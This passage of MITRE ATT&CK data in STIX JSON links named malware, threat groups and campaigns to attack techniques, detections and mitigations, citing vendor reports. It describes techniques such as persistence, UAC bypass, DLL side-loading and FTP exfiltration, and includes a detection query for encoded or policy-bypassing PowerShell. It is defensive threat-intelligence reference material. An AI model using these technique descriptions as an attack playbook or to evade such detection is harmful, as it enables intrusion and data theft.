2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.694Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) can create new users on an infected system.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17317bb7-40a1-47a0-8200-c89df3a339b2","type":"relationship","created":"2022-01-25T15:17:53.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:17:53.352Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can list the installed applications on a compromised host.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--174698f8-9349-4e52-9887-18089038195c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:05.819Z","description":"A [Patchwork](https://attack.mitre.org/groups/G0040) .dll that contains [BADNEWS](https://attack.mitre.org/software/S0128) is loaded and executed using DLL side-loading.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1747e509-d1d8-4d30-bde5-65adeccb2dae","created":"2024-03-27T20:13:42.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:18:39.538Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) leveraged Systemd service units to masquerade GOGETTER malware as legitimate or seemingly legitimate services.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--175199ba-b8b8-467b-9010-a2f549abd957","type":"relationship","created":"2020-05-08T19:27:12.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.161Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has collected system information on the infected host.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17525c42-6859-4175-841c-272e85f68be9","type":"relationship","created":"2021-03-15T18:56:36.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.833Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) used COM to setup scheduled task for persistence.(Citation: ESET Trickbot Oct 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--17530a5c-d0a2-4a4d-8617-d0659b443e3a","created":"2022-02-08T16:11:38.688Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can use `kubectl` or the Kubernetes API to run commands.(Citation: Peirates GitHub)","modified":"2022-04-14T21:00:06.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1754cf51-f712-4e7c-9108-fa276b9f1543","created":"2021-03-01T20:30:52.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AppleJeus Feb 2021","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a"},{"source_name":"Google TAG Lazarus Jan 2021","description":"Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.","url":"https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T14:07:33.542Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has developed custom malware for use in their operations.(Citation: CISA AppleJeus Feb 2021)(Citation: Google TAG Lazarus Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17558f0e-3f37-4bc9-9dd9-e2ace1b337c5","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor newly executed processes that may establish persistence through executing malicious commands triggered by a user’s shell.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e","type":"relationship","created":"2017-05-31T21:33:27.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-06T20:22:59.803Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [at](https://attack.mitre.org/software/S0110) to schedule tasks to run self-extracting RAR archives, which install [HTTPBrowser](https://attack.mitre.org/software/S0070) or [PlugX](https://attack.mitre.org/software/S0013) on other victims on a network.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--175d65f0-0f57-4cad-a655-4f068a1e02ad","type":"relationship","created":"2020-10-20T03:25:40.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:31:54.429Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--176244be-553b-48ac-8e38-9b006d6c360e","type":"relationship","created":"2020-03-19T22:16:54.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-19T22:16:54.841Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.110Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) uses Windows services typically named \"javamtsup\" for persistence.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1762eb59-4fc3-46c8-87d2-c16128bf20cb","type":"relationship","created":"2021-11-30T19:38:27.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T19:38:27.651Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can bypass UAC to elevate process privileges on a compromised host.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1762fe5a-0810-4179-bfb0-16d965ffe055","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ZScaler Hacking Team","description":"Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.","url":"http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"}],"modified":"2020-03-16T16:56:45.649Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.(Citation: ZScaler Hacking Team)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17639fa3-3f77-4481-b24f-9df82fcbf324","type":"relationship","created":"2020-03-15T16:03:39.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T17:15:35.592Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1769fb21-c686-4af1-ba8f-8bfa48ecf585","created":"2023-09-22T20:16:51.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:19:23.963Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used phone calls to instruct victims to navigate to credential-harvesting websites.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1770cc28-c49c-4b70-b4d0-6976efaede16","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:05.998Z","description":"A [Patchwork](https://attack.mitre.org/groups/G0040) payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--17738bdd-24b9-44d0-a897-d1b861fd2636","created":"2022-04-06T14:01:49.558Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BlackTech](https://attack.mitre.org/groups/G0098) has obtained and used tools such as Putty, SNScan, and [PsExec](https://attack.mitre.org/software/S0029) for its operations.(Citation: Symantec Palmerworm Sep 2020)","modified":"2022-04-06T14:01:49.558Z","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--177950ec-8f25-4243-8d9d-a15e24ff7c98","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2020-03-16T17:59:40.299Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used FTP to exfiltrate collected data.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--177a2bb5-eca3-4c81-9dfe-81e5fecb38c3","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T19:20:37.766Z","description":"Monitor for any attempts to enable scripts running on a system that would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. \n\nAnalytic 1 - Script Block Logging Events\n\n (source=WinEventLog:\"Microsoft-Windows-PowerShell/Operational\" EventID=\"4104” AND Image=\"powershell.exe\" AND (CommandLine=\"\\-enc*\" OR CommandLine=\"*-ep bypass*\" OR CommandLine=\"*-noni*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--177d06e3-7e2f-47a1-8bbf-18a4787af5c7","created":"2023-03-26T18:05:36.521Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Symantec RAINDROP January 2021","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:05:36.521Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used SSH port forwarding capabilities on public-facing systems, and configured at least one instance of [Cobalt Strike](https://attack.mitre.org/software/S0154) to use a network pipe over SMB.(Citation: CrowdStrike StellarParticle January 2022)(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--178116a9-6ac9-45c0-bc74-36fe9ba12686","type":"relationship","created":"2021-02-08T21:41:25.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-08T21:41:25.818Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has a function to write itself to Registry values.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1782abeb-8d28-42a1-8abe-c137f23b282c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NorthSec 2015 GData Uroburos Tools","description":"Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.","url":"https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.059Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used HTTP requests for command and control.(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1784577e-9d82-497b-aba1-bc4d5a23d8f8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-17T00:32:00.539Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) writes multiple outputs to a TMP file using the >> method.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1787ebc1-29a3-4d93-ba24-baf11a4a7d19","created":"2024-06-11T18:59:34.319Z","revoked":false,"external_references":[{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:59:34.319Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) campaigns have used spearphishing emails for initial access.(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--178dda13-999c-481f-8a1b-8dc062d7b0ff","type":"relationship","created":"2022-02-01T15:37:38.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T15:37:38.932Z","description":"[WIRTE](https://attack.mitre.org/groups/G0090) has attempted to lure users into opening malicious MS Word and Excel files to execute malicious payloads.(Citation: Kaspersky WIRTE November 